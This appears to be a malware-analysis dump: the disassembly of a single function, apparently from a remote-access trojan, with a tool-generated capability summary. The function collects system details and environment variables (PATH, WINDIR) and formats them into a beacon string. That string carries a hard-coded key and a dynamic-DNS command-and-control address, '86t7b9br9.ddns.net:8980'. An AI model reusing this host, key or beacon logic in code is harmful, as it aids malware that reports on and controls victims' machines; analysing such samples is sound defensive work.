Function at 0x40be4d
Capabilities:
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x77c
lea eax, [esp + 0xec]
mov dword [esp], eax
lea ebx, [esp + 0x56c]
mov dword [esp + 4], 0x40
call fcn.0040b849
lea eax, [esp + 0x12c]
mov dword [esp], eax
mov dword [esp + 4], 0x40
call fcn.0040b7e0
lea eax, [esp + 0x36c]
mov dword [esp], eax
mov dword [esp + 4], 0x200
call fcn.0040bcd9
lea eax, [esp + 0x16c]
mov dword [esp], eax
mov dword [esp + 4], 0x200
call fcn.0040bc1b
lea eax, [esp + 0x90]
mov dword [esp], eax
call fcn.0040bc47
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004051a9
test al, al
jne 0x40bef5
mov dword [esp + 8], 0x204
mov dword [esp + 4], str.Unknown
mov dword [esp], ebx
call fcn.0040ad48
lea ebx, [esp + 0xac]
mov dword [esp], ebx
lea esi, [esp + 0xcc]
mov dword [esp + 8], 0
mov dword [esp + 4], 0x20
call fcn.0040564e
mov dword [esp + 4], 0x20
mov dword [esp], esi
call fcn.004056d9
mov ecx, dword [0x413734]
mov dword [esp], 0x40
mov dword [esp + 0x8c], 0
mov dword [esp + 0x7c], ecx
call fcn.0040c25c
mov byte [esp + 0x6f], al
call fcn.00405dd3
mov dword [esp + 0x78], eax
call fcn.0040c928
mov dword [esp + 0x70], eax
call fcn.0040c915
mov dword [esp], str.PATH
mov dword [esp + 0x74], eax
call sub.msvcrt.dll_getenv
mov dword [esp], str.WINDIR
mov ebp, eax
call sub.msvcrt.dll_getenv
mov edi, eax
call fcn.0040bd24
mov edx, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0x3c], ebx
lea ebx, [esp + 0x8c]
mov dword [esp + 0x64], 0x4132d0
mov dword [esp + 0x58], edx
mov edx, dword [esp + 0x70]
mov dword [esp + 0x68], ecx
movzx ecx, byte [esp + 0x6f]
movzx eax, al
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x50], edx
mov edx, dword [esp + 0x74]
mov dword [esp + 0x60], ecx
lea ecx, [esp + 0x56c]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x98]
mov dword [esp + 0x4c], edx
mov edx, dword [esp + 0xa4]
mov dword [esp + 0x54], str.4678553478654HJKGHKJGHKJG4543
mov dword [esp + 0x48], 0x41346c
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x90]
mov dword [esp + 0x2c], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x44], str.86t7b9br9.ddns.net:8980_
mov dword [esp + 0x40], esi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x36c]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x12c]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], edi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], eax
lea eax, [esp + 0xec]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x16c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_a_s_a_s_a_s_a_I64u_a_I64u_a_I64u_a_d_a_s_a_s_a_s_a_s_a_s_a_s_a_d_a_d_a_s_a_d_a_s_a_d_a_s_a_d_a
mov dword [esp], ebx
call fcn.0040af50
cmp eax, 0xffffffff
je 0x40c0b1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 4], 0x24
mov dword [esp + 8], eax
mov eax, dword [esp + 0x790]
mov dword [esp], eax
call fcn.00403f73
mov dword [esp], ebx
call fcn.00405434
jmp 0x40c0d8
mov eax, dword [esp + 0x790]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x25
mov dword [esp], eax
call fcn.00403f73
add esp, 0x77c
pop ebx
pop esi
pop edi
pop ebp
ret